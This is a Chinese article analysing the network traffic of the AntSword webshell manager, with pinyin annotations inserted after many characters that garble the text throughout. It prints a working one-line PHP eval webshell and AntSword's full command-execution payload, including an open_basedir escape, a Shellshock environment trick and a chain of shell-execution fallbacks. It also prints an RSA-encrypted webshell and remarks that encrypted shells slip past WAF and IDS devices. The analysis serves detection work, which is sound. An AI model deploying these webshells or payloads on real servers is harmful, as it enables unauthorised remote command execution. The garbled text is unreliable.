網(wǎng)絡(luò)安全流量分析工具蟻劍詳細(xì)介紹
25號(hào)那一天,冰蝎恰好更新到了 4.0 版本,當(dāng)時(shí)引得流量監(jiān)控的老哥很緊張,告訴我要看好 IDS 警報(bào)。因?yàn)橐坏?WebShell 攻破就有可能在內(nèi)網(wǎng)采取行動(dòng)。
然后引發(fā)我極大的好奇,決定活動(dòng)結(jié)束后回去好好研究。
現(xiàn)在在家閑的沒事,就先研究一下蟻劍吧,剩下的冰蝎、哥斯拉過幾天研究。
1. 未加密流量形式
我們可以直接寫一個(gè)簡(jiǎn)單的一句話木馬
<?php @eval($_POST[sa]); ?>
此時(shí)是沒有進(jìn)行流量加密的,我們上交到服務(wù)器,然后進(jìn)行抓包
進(jìn)行 URL 解碼后,我們收到的是一段 PHP 代碼(很長(zhǎng)不想看的建議滑過去看后面的內(nèi)容)
@ini_set("display_errors", "0"); @set_time_limit(0); $opdir = @ini_get("open_basedir"); if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!@is_writable($item)) { continue; }; $tmdir = $item . "/.1b7683e8cb4"; @mkdir($tmdir); if (!@file_exists($tmdir)) { continue; } $tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); }; @ini_set("open_basedir", " /"); @rmdir($tmdir); break; }; };; function asenc($out) { return $out; }; function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "cdd3" . "7c35e"; echo @asenc($output); echo "c9cb" . "8c28"; } ob_start(); try { $p = base64_decode(substr($_POST["m0300de6257f67"], 2)); $s = base64_decode(substr($_POST["k0252207ae80f4"], 2)); $envstr = @base64_decode(substr($_POST["i6813797614ba8"], 2)); $d = dirname($_SERVER["SCRIPT_FILENAME"]); $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; if (substr($d, 0, 1) == "/") { @putenv("PATH=" . getenv(" PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); } else { @putenv("PATH=" . getenv(" PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } if (!empty($envstr)) { $envarr = explode("|||asline|||", $envstr); foreach ($envarr as $v) { if (!empty($v)) { @putenv(str_replace("|||askey|||", "=", $v)); } } } $r = "{$p} {$c}"; function fe($f) { $d = explode(",", @ini_get("disable_functions")); if (empty($d)) { $d = array(); } else { $d = array_map('trim', array_map('strtolower', $d)); } return (function_exists($f) && is_callable($f) && !in_array($f, $d)); }; function runshellshock($d, $c) { if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { if (strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(sys_get_temp_dir(), 'as'); putenv("PHP_LOL=() { x; }; $c>$tmp 2>&1"); if (fe('error_log')) { error_log("a", 1); } else { mail("a@127.0.0.1", "", "", "-bv"); } } else { return False; } $output = @file_get_contents($tmp); @unlink($tmp); if ($output != "") { print($output); return True; } } return False; }; function runcmd($c) { $ret = 0; $d = dirname($_SERVER["SCRIPT_FILENAME"]); if (fe('system')) { @system($c, $ret); } elseif (fe('passthru')) { @passthru($c, $ret); } elseif (fe('shell_exec')) { print(@shell_exec($c)); } elseif (fe('exec')) { @exec($c, $o, $ret); print(join(" ", $o)); } elseif (fe('popen')) { $fp = @popen($c, 'r'); while (!@feof($fp)) { print(@fgets($fp, 2048)); } @pclose($fp); } elseif (fe('proc_open')) { $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while (!@feof($io[1])) { print(@fgets($io[1], 2048)); } while (!@feof($io[2])) { print(@fgets($io[2], 2048)); } @fclose($io[1]); @fclose($io[2]); @proc_close($p); } elseif (fe('antsystem')) { @antsystem($c); } elseif (runshellshock($d, $c)) { return $ret; } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) { $w = new COM('WScript.shell'); $e = $w->exec($c); $so = $e->StdOut(); $ret .= $so->ReadAll(); $se = $e->StdErr(); $ret .= $se->ReadAll(); print($ret); } else { $ret = 127; } return $ret; }; $ret = @runcmd($r . " 2>&1"); print ($ret != 0) ? "ret={$ret}" : "";; } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); }; asoutput(); die();
不要慌,雖然它很長(zhǎng)
但是看縮進(jìn)就會(huì)發(fā)現(xiàn)函數(shù)占絕大部分
代碼的思路也很簡(jiǎn)單
在發(fā)送指令的時(shí)候,代碼和指令是一塊發(fā)過去的.
在上面的圖中,我們可以看見除了代碼,還有其他的 POST 指令也被傳了過去,只不過是一堆無規(guī)則的字符
而這就值得關(guān)注了,可以發(fā)現(xiàn)是基于 Base64 編碼的.
當(dāng)然,直接解碼依舊是會(huì)得到亂碼
所以我們要去看源碼
我們注意到這部分源碼
$p = base64_decode(substr($_POST["m0300de6257f67"], 2)); $s = base64_decode(substr($_POST["k0252207ae80f4"], 2)); $envstr = @base64_decode(substr($_POST["i6813797614ba8"], 2));
要從第三位開始,前面的兩位作廢
所以我們解碼可以得到
文件路徑和我剛才輸進(jìn)去的 whoami 指令
后面的 pwd 在 Linux 中是查看當(dāng)前路徑
其他的則意義不明,在返回的響應(yīng)中,也有部分字符串
這些可以說是很容易被各種網(wǎng)安設(shè)備給識(shí)別出來
2. RSA 加密
那么我們看看警告 RSA 加密后的流量又能看出什么規(guī)律呢?
我們生成密鑰后,用蟻劍給的 PHP 代碼,作為 WebShell
<?php $cmd = @$_POST['ant']; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCQO/mlYt7jFDW6WxYBUequ/Wgv Ecw3K9Jn618bPR0TBZ0PHk0gGYKNoysfqp38N7rr0eq38C8yXLYdi7wT+SUboHUZ 2y83XM0R3R5pM5NMe2pS7b5J6N0Ad1hSz1rYDhOO2FZ0Ilw0g9gtF+bkNNpPJLLf Z7V8le4rSJWXc8ObewIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $cmd .= $de; } } eval($cmd);
3. Base64 加密
如果我們使用 Base64 編碼呢?
然后我們對(duì)內(nèi)容進(jìn)行解碼
可以說跟沒加密的內(nèi)容是大差不差的了
4. cHr 加密
再使用 cHr 編碼呢?
5. 其他
其實(shí)還有 Rot13 ,除了 RSA 加密,這三種都有 eval 敏感函數(shù),可以很容易被防火墻鑒別并阻擋
所以說好的加密方式是可以繞過 WAF 和 IDS 等網(wǎng)安設(shè)備。
到此這篇關(guān)于網(wǎng)絡(luò)安全流量分析工具蟻劍詳細(xì)介紹的文章就介紹到這了,更多相關(guān)網(wǎng)絡(luò)安全蟻劍內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
網(wǎng)絡(luò)安全漏洞滲透測(cè)試之文件上傳繞過思路案例詳解
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全漏洞滲透測(cè)試之文件上傳繞過思路的案例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2022-02-02Web網(wǎng)絡(luò)安全解析寬字節(jié)注入攻擊原理
這篇文章主要介紹了Web網(wǎng)絡(luò)安全解析寬字節(jié)注入攻擊原理,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11網(wǎng)絡(luò)安全滲透測(cè)試小程序抓包流程步驟詳解
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測(cè)試之小程序抓包流程的步驟詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪2022-02-02Web網(wǎng)絡(luò)安全分析Base64注入攻擊原理詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析Base64注入攻擊原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11